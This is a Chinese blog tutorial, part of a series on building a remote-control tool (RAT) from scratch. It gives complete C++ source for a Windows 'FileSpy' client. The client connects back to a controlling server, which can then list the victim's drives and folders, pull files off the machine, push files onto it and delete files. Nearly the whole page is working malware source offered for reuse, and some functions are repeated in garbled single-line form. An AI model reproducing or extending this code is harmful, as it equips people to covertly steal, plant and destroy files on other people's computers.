您的位置:首页 > 运维架构

从零开始做远控 第九篇 文件监控之查找/删除/下载/上传

2016-12-24 17:58 423 查看
如果你从没看过这系列教程请点击:从零开始做远控
简介篇


文件监控之查找/删除/下载/上传

这两节主要实现四个功能:文件查找,删除,下载,上传。

这节主要做客户端:

FileSpy类:

1.首先创建一个FileSpy类。

2.遍历目录/文件夹函数:

std::vector<std::string> FileSpy::getDirs(std::string dir)
{
WIN32_FIND_DATAA findData;
HANDLE hFind = FindFirstFileA(dir.append("\\*").data(), &findData);
std::vector<std::string> files;

if (hFind == INVALID_HANDLE_VALUE) {
return files;
}

// 遍历目录来获取路径
while (FindNextFileA(hFind, &findData)) {
// 不需要后退和当前目录
if(!strcmp(findData.cFileName,"..") || !strcmp(findData.cFileName,".")) {
continue;
}

// 判断路径
if (findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
files.push_back(findData.cFileName);
}
}

// 释放句柄
CloseHandle(hFind);

return files;
}


std::vector<std::string> FileSpy::getFiles(std::string dir)
{
WIN32_FIND_DATAA findData;
HANDLE hFind = FindFirstFileA(dir.append("\\*").data(), &findData);
std::vector<std::string> files;

if (hFind == INVALID_HANDLE_VALUE) {
return files;
}

// 遍历目录来获取文件
while (FindNextFileA(hFind, &findData)) {
// 不需要后退和当前目录
if(!strcmp(findData.cFileName,"..") || !strcmp(findData.cFileName,".")) {
continue;
}

// 判断不是路径
if (!(findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)) {
files.push_back(findData.cFileName);
}
}

// 释放句柄
CloseHandle(hFind);

return files;
}


3.查找所有盘符,比如:C盘,D盘:

std::vector<std::string> FileSpy::getDrives()
{
std::vector<std::string> drives;

// 遍历a-z盘符
for (int i='b'; i<='z'; i++) {
char d[MAX_PATH];
sprintf(d, "%c:\\*", i);

WIN32_FIND_DATAA findData;
HANDLE h = FindFirstFileA(d, &findData);
if (h != INVALID_HANDLE_VALUE) {
d[strlen(d)-1] = '\0';
drives.push_back(d);

// 释放句柄
CloseHandle(h);
}
}

return drives;
}


4.至于网络方面都和上一节没什么区别。

代码修改:

1.更改TcpSocket类sendData函数:

bool TcpSocket::sendData(const char *data,unsigned int size)
{
if ((int)mSock == SOCKET_ERROR) {
std::cout << "Socket do not allowed to send data without connected " << std::endl;
std::fflush(stdout);;
return false;
}

int ret = SOCKET_ERROR;
const unsigned int packetLen = 800;
// 小于pakcetLen的话,就直接发送,不然就分包发送
if (size <= packetLen) {
ret = send(mSock, data, size, 0);

// 出现错误,断开连接
if (ret == SOCKET_ERROR) {
std::cout <<  "Failed to send data to " <<  mIp << std::endl;
std::fflush(stdout);;
dissconnect();
}
} else {
unsigned int pos = 0;
while (pos < size) {
unsigned int sendSize = pos+packetLen > size ? size-pos : packetLen;

// 发送
ret = send(mSock, data+pos, sendSize, 0);

// 出现错误,断开连接
if (ret == SOCKET_ERROR) {
std::cout <<  "Failed to send data to " <<  mIp << std::endl;
std::fflush(stdout);;
dissconnect();
break;
}

pos += packetLen;
}
}

return ret != SOCKET_ERROR ? true : false;
}


我上代码了:

FileSpy.h

/*
*
*  Author: sumkee911@gmail.com
*  Date: 23-12-2016
*  Brief: 实现查找,删除,下载,上传功能
*
*/

#ifndef FILESPY_H
#define FILESPY_H

#include "tcpsocket.h"
#include <windows.h>
#include <iostream>
#include <map>
#include <vector>

class FileSpy
{
public:
FileSpy();

// 服务端向客户端发送的指令(你觉得有需要你也可以增加自己的指令)
const std::string CmdGetDirFiles = "GET_DIRS_FILES";   // 获取路径下的所有文件名和路径名
const std::string CmdDownloadFile = "DOWNLOAD_FILE";   // 服务端从客户也下载文件
const std::string CmdUploadFile = "UPLOAD_FILE";       // 服务端上传文件到客户端
const std::string CmdDeleteFile = "DELETE_FILE";       // 服务端在客户端删除文件

// 客户端向服务端发送的指令(你觉得有需要你也可以增加自己的指令)
const std::string CmdSendDrives = "SEND_DRIVES";        // 发送盘符
const std::string CmdSendDirs = "SEND_DIRS";            // 发送路径下的所有路径名
const std::string CmdSendFiles = "SEND_FILES";          // 发送路径下的所有文件名
const std::string CmdDeleteFileSuccess = "DELETE_SUCCESS";  // 成功删除文件
const std::string CmdDeleteFileFailed = "DELETE_FAILED";    // 删除文件失败

// 分割符号和结束符号,比如获取文件夹所有文件命令:FILES<分割符>FILEA<文件分割符>FILEB<文件分割符>FILEC<结束符号>
const std::string CmdSplit = ";";
const std::string CmdEnd = "\r\n";
const std::string CmdFileSplit = "|";

// 这个类的入口函数
static void startByNewThread(std::string domain, int port);
static DWORD WINAPI fileSpyThreadProc(LPVOID args);
static void startFileSpy(std::string domain, int port);

// 命令解析函数
static void addDataToBuffer(TcpSocket *sock, std::string &buf, char *data, int size);
static std::map<std::string, std::string> parseArgs(std::string &data);
static void processCmd(TcpSocket *sock, std::string &cmd, std::string &data);

// 命令处理函数
static void doGetDirFiles(TcpSocket *sock, std::map<std::string, std::string> &args);
static void doDownloadFile(TcpSocket *sock, std::map<std::string, std::string> &args);
static void doUploadFile(TcpSocket *sock, std::map<std::string, std::string> &args);
static void doDeleteFile(TcpSocket *sock, std::map<std::string, std::string> &args);

// 获取所有盘符
static std::vector<std::string> getDrives();
// 获取路径下的所有路径
static std::vector<std::string> getDirs(std::string dir);
// 获取路径下的所有文件
static std::vector<std::string> getFiles(std::string dir);

// 发送文件数据包头
typedef struct {
char fileName[256];
unsigned int len;
} FileHeader;

// 发送文件入口函数
static void startSendFileByNewThread(std::string filePath, std::string domain, int port);
static DWORD WINAPI sendFileThreadProc(LPVOID args);
static void startSendFile(std::string filePath, std::string domain, int port);

// 接收文件入口函数
static void startRecvFileByNewThread(std::string filePath, std::string domain, int port);
static DWORD WINAPI recvFileThreadProc(LPVOID args);
static void startRecvFile(std::string filePath, std::string domain, int port);
};

#endif // FILESPY_H


filespy.cpp

#include "filespy.h"

// 初始化FileSpy
static FileSpy gSpy;

FileSpy::FileSpy()
{

}

void FileSpy::startByNewThread(std::string domain, int port)
{
// 将域名和端口数据转换成一个字符指针类型
char *args = new char[MAX_PATH+sizeof(int)];
domain.reserve(MAX_PATH);
memcpy(args,domain.data(), MAX_PATH);
memcpy(args+MAX_PATH,(char*)&port, sizeof(int));

// 创建新线程
HANDLE h = CreateThread(NULL,0, FileSpy::fileSpyThreadProc,(LPVOID)args,0,NULL);
if (!h) {
std::cout << "Failed to create new thread" << std::endl;
std::fflush(stdout);
}
}

DWORD FileSpy::fileSpyThreadProc(LPVOID args)
{
char domain[MAX_PATH];
memcpy(domain, args, MAX_PATH);
int port = *((int*)((char*)args+MAX_PATH));

// 开始监控
startFileSpy(domain, port);

// 释放参数
delete (char *)args;
return true;
}

void FileSpy::startFileSpy(std::string domain, int port)
{
// 连接到服务器,接收服务器的指令
TcpSocket sock;
if (!sock.connectTo(domain, port)) {
std::cout << "Failed to connect server for file spy" << std::endl;
std::fflush(stdout);
}

// 死循环,不断从服务端接收数据
const int packetSize = 800;
char szData[packetSize];
int ret;
std::string buf;

while (1) {
ret = sock.recvData(szData, packetSize);

// 出现错误
if (ret == SOCKET_ERROR || ret == 0) {
break;
}

// 把数据加入到缓冲区
addDataToBuffer(&sock, buf, szData, ret);
}
}

void FileSpy::addDataToBuffer(TcpSocket *sock, std::string &buf, char *data, int size)
{
buf.append(data,size);

// 把数据转换成指令模式
int endIndex;
while ((endIndex = buf.find(gSpy.CmdEnd)) >= 0) {
std::string line = buf.substr(0,endIndex);
buf.erase(0, endIndex+gSpy.CmdEnd.length());

// 获取指令
int firstSplit = line.find(gSpy.CmdSplit);
std::string cmd = line.substr(0, firstSplit);
line.erase(0, firstSplit+gSpy.CmdSplit.length());

// 处理指令
processCmd(sock, cmd, line);
}
}

std::map<std::string, std::string> FileSpy::parseArgs(std::string &data)
{
// 字符串分割成列表
std::vector<std::string> v;
std::string::size_type pos1, pos2;
pos2 = data.find(gSpy.CmdSplit);
pos1 = 0;
while(std::string::npos != pos2) {
v.push_back(data.substr(pos1, pos2-pos1));
pos1 = pos2 + gSpy.CmdSplit.size();
pos2 = data.find(gSpy.CmdSplit, pos1);
}
if(pos1 != data.length()) v.push_back(data.substr(pos1));

// 解析参数
std::map<std::string, std::string> args;
for (int i=0; i<(int)v.size()-1; i+=2) {
args[v.at(i)] = v.at(i+1);
}

return args;
}

void FileSpy::processCmd(TcpSocket *sock, std::string &cmd, std::string &data)
{
// 解析参数
std::map<std::string, std::string> args = parseArgs(data);

// 获取文件
if (cmd == gSpy.CmdGetDirFiles) {
doGetDirFiles(sock, args);
return;
}

// 下载文件
if (cmd == gSpy.CmdDownloadFile) {
doDownloadFile(sock, args);
return;
}

// 上传文件
if (cmd == gSpy.CmdUploadFile) {
doUploadFile(sock, args);
return;
}

// 删除文件
if (cmd == gSpy.CmdDeleteFile) {
doDeleteFile(sock ,args);
return;
}
}

void FileSpy::doGetDirFiles(TcpSocket *sock, std::map<std::string, std::string> &args)
{
std::string dir = args["DIR"];
std::string data;

// 如果为空就代表获取盘符
if (dir.size() == 0) {
std::vector<std::string> drives;
drives = getDrives();

// 把盘符打包成数据
data.append(gSpy.CmdSendDrives+gSpy.CmdSplit);
data.append("DRIVES"+gSpy.CmdSplit);

int max = drives.size();
for (int i=0; i<max; ++i) {
data.append(drives[i]+gSpy.CmdFileSplit);
}
if (drives.size() > 0) {
data.erase(data.size()-1);
}
data.append(gSpy.CmdEnd);

// 发送
sock->sendData(data.data(), data.size());
} else {
std::vector<std::string> files;
std::vector<std::string> dirs;

dirs = getDirs(dir);
files = getFiles(dir);

// 把目录打包成数据
data.append(gSpy.CmdSendDirs+gSpy.CmdSplit);
data.append("DIR"+gSpy.CmdSplit+ dir +gSpy.CmdSplit);
data.append("DIRS"+gSpy.CmdSplit);

int max = dirs.size();
for (int i=0; i<max; ++i) {
data.append(dirs[i]+gSpy.CmdFileSplit);
}
if (dirs.size() > 0) {
data.erase(data.size()-1);
}
data.append(gSpy.CmdEnd);

// 把文件名打包成数据
data.append(gSpy.CmdSendFiles+gSpy.CmdSplit);
data.append("DIR"+gSpy.CmdSplit+ dir +gSpy.CmdSplit);
data.append("FILES"+gSpy.CmdSplit);

max = files.size();
for (int i=0; i<max; ++i) {
data.append(files[i]+gSpy.CmdFileSplit);
}
if (files.size()) {
data.erase(data.size()-1);
}
data.append(gSpy.CmdEnd);

// 发送
sock->sendData(data.data(), data.size());
}

}

void FileSpy::doDownloadFile(TcpSocket *sock, std::map<std::string, std::string> &args)
{
// 发送文件到服务端
std::string filePath = args["FILE_PATH"];
int port = atoi(args["PORT"].data());

// 开启一个新的线程发送文件
startSendFileByNewThread(filePath, sock->mIp, port);
}

void FileSpy::doUploadFile(TcpSocket *sock, std::map<std::string, std::string> &args)
{
// 从服务端接收文件
std::string filePath = args["FILE_PATH"];
int port = atoi(args["PORT"].data());

// 开启一个线程接收文件
startRecvFileByNewThread(filePath, sock->mIp, port);
}

void FileSpy::doDeleteFile(TcpSocket *sock, std::map<std::string, std::string> &args)
{
// 删除文件
bool ret = DeleteFileA(args["FILE_PATH"].data());
std::string data;
if (ret) {
data.append(gSpy.CmdDeleteFileSuccess);
data.append(gSpy.CmdEnd);
sock->sendData(data.data(), data.size());
} else {
data.append(gSpy.CmdDeleteFileFailed);
data.append(gSpy.CmdEnd);
sock->sendData(data.data(), data.size());
}
}

std::vector<std::string> FileSpy::getDrives() { std::vector<std::string> drives; // 遍历a-z盘符 for (int i='b'; i<='z'; i++) { char d[MAX_PATH]; sprintf(d, "%c:\\*", i); WIN32_FIND_DATAA findData; HANDLE h = FindFirstFileA(d, &findData); if (h != INVALID_HANDLE_VALUE) { d[strlen(d)-1] = '\0'; drives.push_back(d); // 释放句柄 CloseHandle(h); } } return drives; }std::vector<std::string> FileSpy::getDirs(std::string dir) { WIN32_FIND_DATAA findData; HANDLE hFind = FindFirstFileA(dir.append("\\*").data(), &findData); std::vector<std::string> files; if (hFind == INVALID_HANDLE_VALUE) { return files; } // 遍历目录来获取路径 while (FindNextFileA(hFind, &findData)) { // 不需要后退和当前目录 if(!strcmp(findData.cFileName,"..") || !strcmp(findData.cFileName,".")) { continue; } // 判断路径 if (findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) { files.push_back(findData.cFileName); } } // 释放句柄 CloseHandle(hFind); return files; }

std::vector<std::string> FileSpy::getFiles(std::string dir) { WIN32_FIND_DATAA findData; HANDLE hFind = FindFirstFileA(dir.append("\\*").data(), &findData); std::vector<std::string> files; if (hFind == INVALID_HANDLE_VALUE) { return files; } // 遍历目录来获取文件 while (FindNextFileA(hFind, &findData)) { // 不需要后退和当前目录 if(!strcmp(findData.cFileName,"..") || !strcmp(findData.cFileName,".")) { continue; } // 判断不是路径 if (!(findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)) { files.push_back(findData.cFileName); } } // 释放句柄 CloseHandle(hFind); return files; }

void FileSpy::startSendFileByNewThread(std::string filePath, std::string domain, int port)
{
// 将文件路径,域名和端口数据转换成一个字符指针类型
char *args = new char[MAX_PATH+MAX_PATH+sizeof(int)];

filePath.reserve(MAX_PATH);
memcpy(args, filePath.data(), MAX_PATH);

domain.reserve(MAX_PATH);
memcpy(args+MAX_PATH,domain.data(), MAX_PATH);

memcpy(args+MAX_PATH+MAX_PATH,(char*)&port, sizeof(int));

// 创建新线程
HANDLE h = CreateThread(NULL,0, FileSpy::sendFileThreadProc,(LPVOID)args,0,NULL);
if (!h) {
std::cout << "Failed to create new thread" << std::endl;
std::fflush(stdout);
}
}

DWORD FileSpy::sendFileThreadProc(LPVOID args)
{
// 将文件路径,域名和端口数据从指针转换过来
char filePath[MAX_PATH], domain[MAX_PATH];
memcpy(filePath, args, MAX_PATH);
memcpy(domain, args+MAX_PATH, MAX_PATH);
int port = *((int*)((char*)args+MAX_PATH+MAX_PATH));

// 开始发送文件
startSendFile(filePath, domain, port);

// 释放参数
delete (char *)args;
return true;
}

void FileSpy::startSendFile(std::string filePath, std::string domain, int port)
{
// 连接到服务端发送文件
TcpSocket sock;
if (!sock.connectTo(domain, port)) {
std::cout << "Failed to connect server for send file" << std::endl;
std::fflush(stdout);
return;
}

// 打开文件
FILE *fp = fopen(filePath.data(), "rb");
if (!fp) {
// 断开
sock.dissconnect();

std::cout << "Failed to open file for send file" << std::endl;
std::fflush(stdout);
return;
}

// 获取文件大小
fseek(fp, 0, SEEK_END);
unsigned int len = ftell(fp);
rewind(fp);

// 获取文件名字
char name[_MAX_FNAME], ext[_MAX_EXT];
_splitpath(filePath.data(), NULL, NULL, name, ext);

// 发送文件头
FileHeader header;
sprintf(header.fileName, "%s%s", name,ext);
header.len = len;
sock.sendData((char *)&header, sizeof(header));

// 发送文件数据
// 发送jpg数据包,包大小每次最好少于1000,我这里定义800
const unsigned int paketLen = 800;
char data[800];
unsigned int pos = 0;

while (pos < len) {
int sendSize = (pos+paketLen) > len ? len-pos : paketLen;

// 读取文件
fread(data, 1, sendSize, fp);

if (!sock.sendData(data, sendSize)) {
return;
}

pos += sendSize;
}

// 关闭已经打开的文件
fclose(fp);
}

void FileSpy::startRecvFileByNewThread(std::string filePath, std::string domain, int port)
{
// 将文件路径,域名和端口数据转换成一个字符指针类型
char *args = new char[MAX_PATH+MAX_PATH+sizeof(int)];

filePath.reserve(MAX_PATH);
memcpy(args, filePath.data(), MAX_PATH);

domain.reserve(MAX_PATH);
memcpy(args+MAX_PATH,domain.data(), MAX_PATH);

memcpy(args+MAX_PATH+MAX_PATH,(char*)&port, sizeof(int));

// 创建新线程
HANDLE h = CreateThread(NULL,0, FileSpy::recvFileThreadProc,(LPVOID)args,0,NULL);
if (!h) {
std::cout << "Failed to create new thread" << std::endl;
std::fflush(stdout);
}
}

DWORD FileSpy::recvFileThreadProc(LPVOID args)
{
// 将文件路径,域名和端口数据从指针转换过来
char filePath[MAX_PATH], domain[MAX_PATH];
memcpy(filePath, args, MAX_PATH);
memcpy(domain, args+MAX_PATH, MAX_PATH);
int port = *((int*)((char*)args+MAX_PATH+MAX_PATH));

// 开始接收
startRecvFile(filePath, domain, port);

// 释放参数
delete (char *)args;
return true;
}

void FileSpy::startRecvFile(std::string filePath, std::string domain, int port)
{ // 连接到服务端发送文件
TcpSocket sock;
if (!sock.connectTo(domain, port)) {
std::cout << "Failed to connect server for send file" << std::endl;
std::fflush(stdout);
return;
}

// 创建一个新的文件
FILE *fp = fopen(filePath.data(), "wb");
if (!fp) {
// 断开
sock.dissconnect();

std::cout << "Failed to open file for send file" << std::endl;
std::fflush(stdout);
return;
}

// 开始接收数据
const int packetLen = 800;
char data[packetLen];
while(1) {
int ret = sock.recvData(data, packetLen);

if (ret == SOCKET_ERROR || ret == 0) {
break;
}

// 写入数据
fwrite(data, 1, ret, fp);
}

// 关闭文件
if (fp) {
fclose(fp);
}
}



这一节的完整代码:

下载
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息